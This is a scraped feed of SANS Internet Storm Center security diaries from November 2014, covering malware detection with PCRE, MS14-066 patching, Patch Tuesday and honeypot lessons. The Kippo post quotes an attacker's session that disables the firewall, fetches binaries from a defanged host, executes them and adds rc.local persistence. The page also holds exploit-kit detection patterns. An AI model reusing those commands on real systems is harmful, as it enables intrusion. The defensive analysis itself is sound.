Latest Alerts

Syndicate content SANS Internet Storm Center, InfoCON: green
Updated: 22 min 22 sec ago

PCRE for malware audits, (Thu, Nov 13th)

Wed, 11/12/2014 - 16:12

When auditing a company for their malware defense savvy, you are likely used to be presented with colorful pie charts of all the malware that their Anti-Virus (AV) product of choice successfully intercepted. Odds are that your auditee can show statistics for the past five years, and related trends of doom and gloom.

The problem is, we arent really interested in that. Counting what the AV caught is like counting the number of hits on the final drop rule of the Internet firewall: It shows scary numbers, but who cares, given that this is stuff that was STOPPED. Way more interesting is stuff that managed to sneak by and was missed ... but how do we find it?

One approach that I like to use involves Perl Compatible Regular Expressions (PCRE). You likely encountered PCREs before - Perl has one of the most versatile sets of regular expression language that can be used to match any text pattern imaginable. Snort, for example, supports PCREs in its rule language. Amazing Perl, of course, supports PCRE natively. And .. lo and behold, the lowly Unix grep command, on many Unix flavors, supports a grep -P, which gives it alien PCRE powers.

What to do with them powers, you ask? Well, in an audit, obtain the last 10 days or so of proxy server logs. Most companies have them, and be prepared that they are HUGE. Plunk them onto a Unix system of your choice that supports grep -P. Then, if you are reading malware blogs like Kafeines and Brads, you have an ample reservoir of URLs for currently active threats. If you speak PCRE, turning these URLs into patterns is no big deal, and provides good fresh intel. If you dont speak PCRE, you (well, should learn!!) can make use of the current events ruleset of Emergingthreats, for example Look for recently added rules that cover trojan activity.

Then, for the analysis, piece the various PCREs together into one big bad*ss PCRE, and run it in a grep -P">daniel@debian$ grep -P (http:\/\/[^\x2f]+\/[a-z0-9]{6,}_[0-9]+_[a-f0-9]{32}\.html|\/[a-f0-9]{60,66}(?:\x3b\d+){1,4}|\/\??[a-f0-9]{60,}\x3b1\d{5}\x3b\d{1,3}|\/[0-9a-z]{32}.php\?[a-z]{1,3}=[0-9a-z]{32})">Nov 10 11:43:18 squid[20791]: time=2014-11-10 11:43:18 rc=TCP_MISS/200 ip= head_type=application/x-shockwave-flash size=10751 req=GET url=214 referrer=

Yes, it will take a while, but if you get any hits, like the Fiesta exploit kit hit shown above, I guarantee that it will be highly entertaining to ask the auditee if and whether they noticed anything amiss on the PC on November 10. The fresher your PCRE, the better the results that you will pull out of the log. With a decently up to date PCRE, I have yet to see an auditee who doesnt have several hits in ten days worth of proxy logs.

If you have any cool PCRE malware detection tricks up your sleeve, please share via the comments below!

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

How bad is the SCHANNEL vulnerability (CVE-2014-6321) patched in MS14-066?, (Wed, Nov 12th)

Wed, 11/12/2014 - 08:28

We had a number of users suggesting that we should have labeled MS14-066 as Patch Now instead of just critical. This particular vulnerability probably has the largest potential impact among all of the vulnerabilities patched this Tuesday, and should be considered the first patch to apply, in particular on servers.

Just like OpenSSL implements SSL on many Unix systems, SCHANNEL is the standard SSL library that ships with Windows. Expect most Windows software that takes advantage of SSL to use SCHANNEL.

Microsoft stated that this vulnerability will allow remote code execution and that it can be used to exploitservers. Microsoft also assigned this vulnerability an exploitability of 1, indicating that an exploit is likely going to be developed soon. But other then that, very little has been released publicly about the nature of the vulnerability.

There is some conflicting information if the bug was found internally or by a third party. The bulletin states: This security update resolves a privately reported vulnerability [1] . A blog post about the vulnerability states: Internally found during a proactive security assessment. [2] . Finally, Microsofts Acknowledgement page does not list a source for the vulnerability [3]. It is not clear how far outside of Microsoft the vulnerability was known prior to the patch release.

However, as soon as a patch was released, it can be used to learn more about the vulnerability. It is very hard these days to obfuscate a patch sufficiently to hide the nature of a vulnerability.

So what does this mean for you?

My guess is that you probably have a week, maybe less, to patch your systems before an exploit is released. You got a good inventory of your systems? Then you are in good shape to make this work. For the rest (vast majority?): While you patch, also figure out counter measures and alternative emergency configurations.

The most likely target are SSL services that are reachable from the outside: Web and Mail Servers would be on the top of my list. But it cant hurt to check the report from your last external scan of your infrastructure to see if you got anything else. Probably a good idea to repeat this scan if you havent scheduled it regularly.

Next move on to internal servers. They are a bit harder to reach, but remember that you only need one internal infected workstation to expose them.

Third: Traveling laptops and the like that leave your perimeter. They should already be locked down, and are unlikely to listen for inbound SSL connections, but cant hurt to double check. Some odd SSL VPN? Maybe some instant messenger software? A quick portscan should tell you more.

You are doing great if you can get these three groups out of the way by the end of the week. Internal clients are less of an issue, but just like traveling laptops, they may run some software that listens for inbound SSL connections.

Stick with my old advice: Patching is only in part about speed. Dont let speed get in the way of good operations andprocedures. It is at least as important to patch in a controlled, verifiable and reproducible way. Anything else will leave you open to attack due to incomplete patching. Dont forgetto reboot the system or the patch may not take affect.

Microsoft didnt mention any workarounds. But this may change as we learn more about the issue. So make sure that you know how to disable certain ciphers or certain SSL modes of operations. And please take this as an other opportunity to get your inventory of hardware and software sorted out.

Patch Now? Maybe better: Patch first / Patch soon. This vulnerability could turn into a worm like slapper, an OpenSSLworm exploiting Apacheback in the day.

I am not aware of any publicIDS signatures for this problem so far, but it may make sense to check for SSL error even on non-Windows servers to spot possible exploit attempts.

To make things more interesting (confusing?), the Cisco Talos blog states that [w]hile it is covered by only a single CVE, theres actually multiple vulnerabilities, ranging from buffer overflows to certificate validation bypasses. [4] It would be really odd from Microsoft to only use a single CVE number for various vulnerabilities only related by the common library they happen to be found in. But I do give Cisco some credibility here as they are working closely with Microsoft and may have gotten more details from Microsoft then what was published in the bulletin.

Cisco also published a number of Snort rules for MS14-066. If you have a VRT subscription, you should see these rules with an SID from 32404 through 32423.

PLEASE SHARE ANY ATTACK DATA / EXPLOIT SIGHTINGS YOU MAY HAVE ! ( handlers -at- or our contact form)


Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

ISC StormCast for Wednesday, November 12th 2014, (Wed, Nov 12th)

Tue, 11/11/2014 - 17:10
(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Adobe Flash Update, (Tue, Nov 11th)

Tue, 11/11/2014 - 11:51

Adobe today released a patch for Flash/Adobe Air which fixes 18 different vulnerabilities [1]. The Flash update is rated with a priority of 1 for Windows and OS X, indicating that limited exploitation has been observed. Please consult the advisory for details.


Johannes B. Ullrich, Ph.D.

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Categories: Alerts

Microsoft November 2014 Patch Tuesday, (Tue, Nov 11th)

Tue, 11/11/2014 - 11:07

Important: Please note that Microsoft released EMET 5.1 yesterday to address conflicts between EMET5.0 / IE 11 and the patches released here (likely MS14-065)

We are aware that bulletin numbers are skipped below. Not sure if they will come later. It is possible that I used a version of the bulletin page that wasn">MS14-065 Cumulative Security Update for Internet Explorer
(ReplacesMS14-056 ) Microsoft Windows, Internet Explorer
, CVE-2014-4143, CVE-2014-6323, CVE-2014-6337, CVE-2014-6339, CVE-2014-6340, CVE-2014-6341, CVE-2014-6342, CVE-2014-6343, CVE-2014-6344, CVE-2014-6345, CVE-2014-6346, CVE-2014-6347, CVE-2014-6348, CVE-2014-6349, CVE-2014-6350, CVE-2014-6351, CVE-2014-6353 KB 3003057 ">MS14-066 Vulnerability in Schannel Could Allow Remote Code Execution
(ReplacesMS10-085 MS12-049 ) Microsoft Windows

CVE-2014-6321 KB 2992611 ">MS14-069 Vulnerabilities in Microsoft Office Could Allow Remote Code Execution
(ReplacesMS14-017 MS14-061 ) Microsoft Office

CVE-2014-6335 KB 3009710 ">MS14-071 Vulnerability in Windows Audio Service Could Allow Elevation of Privilege Microsoft Windows

CVE-2014-6322 KB 3005607 ">MS14-072 Vulnerability in .NET Framework Could Allow Elevation of Privilege
(ReplacesMS14-026 ) Microsoft Windows, Microsoft .NET Framework

CVE-2014-4149 KB 3005210 ">MS14-073 Vulnerability in Microsoft SharePoint Foundation Could Allow Elevation of Privilege
(ReplacesMS13-084 ) Microsoft Server Software

CVE-2014-4116 KB 3000431 ">MS14-074 Vulnerability in Remote Desktop Protocol Could Allow Security Feature Bypass
(ReplacesMS10-085 MS14-030 ) Microsoft Windows

CVE-2014-6318 KB 3003743 ">MS14-076 Vulnerability in Internet Information Services Microsoft Windows

CVE-2014-4078 KB 2982998 ">MS14-077 Vulnerability in Active Directory Federation Services Could Allow Information Disclosure Microsoft Windows

CVE-2014-6331 KB 3003381 ">MS14-079 Vulnerability in Kernel Mode Driver Could Allow Denial of Service
(ReplacesMS14-058 ) Microsoft Windows

CVE-2014-6317 KB 3002885 ">Critical: Anything that needs little to become interesting">Less Urt practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.

  • The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threatatches.

  • ---
    Johannes B. Ullrich, Ph.D.

    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts

    Important EMET 5.1 Update. Apply before Patches today, (Tue, Nov 11th)

    Tue, 11/11/2014 - 06:43

    Microsoft yesterday release EMET 5.1 . One particular sentence in Microsofts blog post suggests that you should apply this update (if you are using EMET) BEFORE you apply the Interent Explorer patch Microsoft is going to release in a couple of hours:

    ">If you are using Internet Explorer 11, either on Windows 7 or Windows 8.1, and have deployed EMET 5.0, it is particularly important to install EMET 5.1 as compatibility issues were discovered with the November Internet Explorer security update and the EAF+ mitigation.

    For full details, and features added in EMET 5.1, see Microsofts blog post [1]


    Johannes B. Ullrich, Ph.D.

    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts

    ISC StormCast for Tuesday, November 11th 2014, (Tue, Nov 11th)

    Mon, 11/10/2014 - 17:49
    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts

    Lessons Learn from attacks on Kippo honeypots, (Mon, Nov 10th)

    Mon, 11/10/2014 - 15:54

    A number of my fellow Handlers have discussed Kippo [1], a SSH honeypot that can record adversarial behaviour, be it human or machine. Normal behaviour against my set of Kippo honeypots is randomly predictable; a mixture of known bad IP ranges, researchers or from behind TOR scanning and probing, would be attackers manually entering information from their jump boxes or home machines.

    What caught my eye was a number of separate brute force attacks that succeeded and then manifested the same behaviour, all within a single day.Despite the IP addresses of the scans, the pickup file locations and the downloaded file names being different the captured scripts from the Kippo logs and, more importantly in this case, the hashes were identical for the two files [2] [3] that were retrieved and attempted to run on Kippos fake system

    So what? you may ask. I like to draw lessons learnt from this type of honeypot interaction which help provide some tactical and operational intelligence that can be passed other teams to use. Dont limit this type of information gather to just the security teams, for example our friends in audit and compliance need to know what common usernames and passwords are being used in these types of attacks to keep them current and well advised. A single line note on a daily report to the stakeholders for security may being in order if your organisation is running internet facing Linux systems with SSH running port TCP 22 for awareness.

    Here are some of the one I detailed that would be passed to the security team.

    1) The password 12345 isnt very safe who knew? (implied sarcasm)
    2) The adversary was a scripted session with no error checking (see the scripts actions below)
    3) The roughly two hours attacks from each unique IP address shows a lack of centralised command and control
    4) The malware dropped was being reported in VirusTotal a day before I submitted my copies, so this most likely is a relatively new set of scanning and attacks
    5) The target of the attack is to compromise Linux systems
    6) The adversary hosting file locations are on Windows systems based in China running HFS v2.3c 291 [4] a free windows web server on port 8889 which has a known Remote Command Execution flaw the owner should probably looked at updating.
    7) Running static or dynamic analysis of the captured Linux binaries provided a wealth of further indicators
    8) The IP addresses of the scanning and host servers
    9) And a nice list of usernames and passwords to be added to the never, ever use these of anything (root/root, root/password, admin/admin etc)

    Id normally offer up any captured binaries for further analysis, if the teams had the capacity to do this or dump them through an automated sandbox like Cuckoo [5] to pick out the more obvious indicators of compromise or further pieces of information to research (especially hard coded commands, IP addresses, domain names etc)

    If you have any other comments on how to make honeypots collections relevant, please drop me a line!">Recorded commands by Kippo
    service iptables stop
    wget hxxp://x.x.x.x:8889/badfile1
    chmod u+x badfile1
    ./ badfile1
    cd /tmp
    tmp# wget hxxp://x.x.x.x:8889/badfile2
    chmod u+x badfile2
    ./ badfile2
    bash: ./ badfile2: command not found
    /tmp# cd /tmp
    /tmp# echo cd /root//etc/rc.local
    cd /root//etc/rc.local
    /tmp# echo ./ badfile1/etc/rc.local
    ./ badfile1/etc/rc.local
    /tmp# echo ./ badfile2/etc/rc.local
    ./ux badfile2/etc/rc.local
    /tmp# echo /etc/init.d/iptables stop/etc/rc.local
    /etc/init.d/iptables stop/etc/rc.local

    [1] Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker.

    [2] File hash 1 0601aa569d59175733db947f17919bb7
    [3] File hash 2 60ab24296bb0d9b7e1652d8bde24280b


    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts

    ISC StormCast for Monday, November 10th 2014, (Mon, Nov 10th)

    Sun, 11/09/2014 - 17:56
    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts

    Bad Assumptions in Security, (Sat, Nov 8th)

    Sat, 11/08/2014 - 13:46

    In almost every project I have ever worked the scope is defined as part of the scope/schedule/budget of the project (as it should be), and we have to work within that scope. In most cases that scope is set in advance by management, with little or no input regarding the impact to the systems security. It is almost automatically assumed that if a commercial IT offering exists, and it appears successful, then it must be secure. The thought is if it/they were not secure, how could it/they be in business? I see this in almost every instance when it comes to third party integrations. However it is not always limited to web integrations, and some of the next-gen attacks that are prevalent today. It can be as simple as stealing a password off a keyboard in another business that has access to your system. (We train our employees, but that does not mean everyone does)

    Home Depot announced recently a breach that was the result of credentials issued to, and stolen from, a third party vendor. As with any third party integration or vendor support, security must be considered with the same regard as our own internal systems and processes. In this case, it may have been as simple as a fleet vendor who maintains the Home Depot trucks, and needed access for parts and billing. Or maybe it was a third-party vendor stocking the shelves, who needed access to inventory levels. It is mostly irrelevant, as their access needs to be treated with the same accord as if they were setting up a workstation on your network, and quite probably something was overlooked.

    I cannot say this loud enough: Do not assume that because a company has been in business for x years, or they are the hottest product on the market, that it is backed by solid security. That is an assumption that can cost. Dearly.

    I would like to hear what other bad assumptions that youve encountered. Speak up!

    tony d0t carothers --gmail

    (c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
    Categories: Alerts